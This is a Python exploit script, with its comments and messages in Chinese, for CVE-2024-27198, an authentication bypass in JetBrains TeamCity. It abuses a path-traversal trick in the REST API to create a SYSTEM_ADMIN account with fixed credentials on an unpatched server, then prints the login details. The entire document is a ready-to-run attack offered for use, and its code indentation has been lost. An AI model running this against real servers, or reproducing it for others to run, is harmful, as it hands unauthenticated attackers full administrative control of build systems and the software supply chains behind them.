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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# 漏洞标题：JetBrains TeamCity 2023.11.4 - 身份验证绕过
# 日期：2024-02-21
# 漏洞作者：ibrahimsql (https://github.com/ibrahimsql)
# 厂商主页：https://www.jetbrains.com/teamcity/
# 版本：< 2023.11.4
# CVE：CVE-2024-27198
# CVSS 评分：9.8（严重）
# 描述：
# JetBrains TeamCity 2023.11.4之前版本存在严重的身份验证绕过漏洞，
# 允许未经身份验证的攻击者执行管理操作。该漏洞利用JSP处理机制中的路径遍历技术，
# 结合REST API端点来绕过身份验证。
# 要求：requests>=2.25.1
"""
import requests
import argparse
import sys
import json
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
banner = f"""{Colors.CYAN}
████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗
╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝
██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝
██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
{Colors.END}
{Colors.BOLD}{Colors.RED} TeamCity 身份验证绕过 (CVE-2024-27198){Colors.END}
{Colors.YELLOW} 作者：ibrahimsql{Colors.END}
"""
parser = argparse.ArgumentParser(description="TeamCity 身份验证绕过漏洞利用 (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="目标 TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="请求超时时间（默认：15）")
parser.add_argument("--verbose", "-v", action="store_true", help="启用详细输出")
args = parser.parse_args()
class TeamCityExploit:
def __init__(self, target_url, timeout=15, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
def _log(self, message, level="info"):
if level == "success":
print(f"{Colors.GREEN}[+] {message}{Colors.END}")
elif level == "error":
print(f"{Colors.RED}[-] {message}{Colors.END}")
elif level == "warning":
print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
elif level == "info":
print(f"{Colors.BLUE}[*] {message}{Colors.END}")
elif level == "verbose" and self.verbose:
print(f"[DEBUG] {message}")
def check_target_reachability(self):
try:
self._log(f"检查目标：{self.target_url}")
response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
if response.status_code in [200, 302, 401, 403]:
self._log("目标可达", "success")
return True
else:
self._log(f"意外状态：{response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("连接超时", "error")
return False
except requests.exceptions.ConnectionError:
self._log("连接错误", "error")
return False
except Exception as e:
self._log(f"错误：{str(e)}", "error")
return False
def exploit_authentication_bypass(self):
exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
full_url = f"{self.target_url}{exploit_path}"
self._log(f"目标URL：{full_url}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*"
}
payload = {
"username": "ibrahimsql",
"password": "ibrahimsql",
"email": "ibrahimsql@exploit.local",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
self._log(f"载荷：{json.dumps(payload)}", "verbose")
try:
self._log("尝试身份验证绕过...")
response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
self._log(f"状态：{response.status_code}", "verbose")
self._log(f"响应：{response.text[:200]}", "verbose")
if response.status_code == 200:
self._log("漏洞利用成功！", "success")
print(f"\n{Colors.BOLD}{Colors.GREEN}[成功] 管理员用户已创建！{Colors.END}")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
print(f"{Colors.YELLOW}用户名：{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}密码：{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}登录URL：{Colors.END} {self.target_url}/login.html")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
return True
elif response.status_code == 401:
self._log("需要身份验证 - 目标可能已修复", "error")
return False
elif response.status_code == 404:
self._log("端点未找到 - 目标可能已修复", "error")
return False
elif response.status_code == 403:
self._log("访问被禁止", "error")
return False
else:
self._log(f"意外状态：{response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("请求超时", "error")
return False
except requests.exceptions.ConnectionError:
self._log("连接错误", "error")
return False
except Exception as e:
self._log(f"错误：{str(e)}", "error")
return False
def validate_url(url):
try:
parsed = urlparse(url)
if not parsed.scheme:
url = f"http://{url}"
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("URL必须使用HTTP或HTTPS")
if not parsed.netloc:
raise ValueError("无效的URL格式")
return url
except Exception as e:
raise ValueError(f"无效的URL：{str(e)}")
def main():
print(banner)
try:
target_url = validate_url(args.url)
print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity 漏洞利用 ==={Colors.END}")
print(f"{Colors.YELLOW}作者：{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}目标：{Colors.END} {target_url}")
print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
if not exploit.check_target_reachability():
exploit._log("无法访问目标", "error")
sys.exit(1)
success = exploit.exploit_authentication_bypass()
if success:
exploit._log("漏洞利用完成！", "success")
sys.exit(0)
else:
exploit._log("漏洞利用失败", "error")
sys.exit(1)
except ValueError as e:
print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
sys.exit(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] 已中断{Colors.END}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-] 错误：{str(e)}{Colors.END}")
sys.exit(1)
if __name__ == "__main__":
main()
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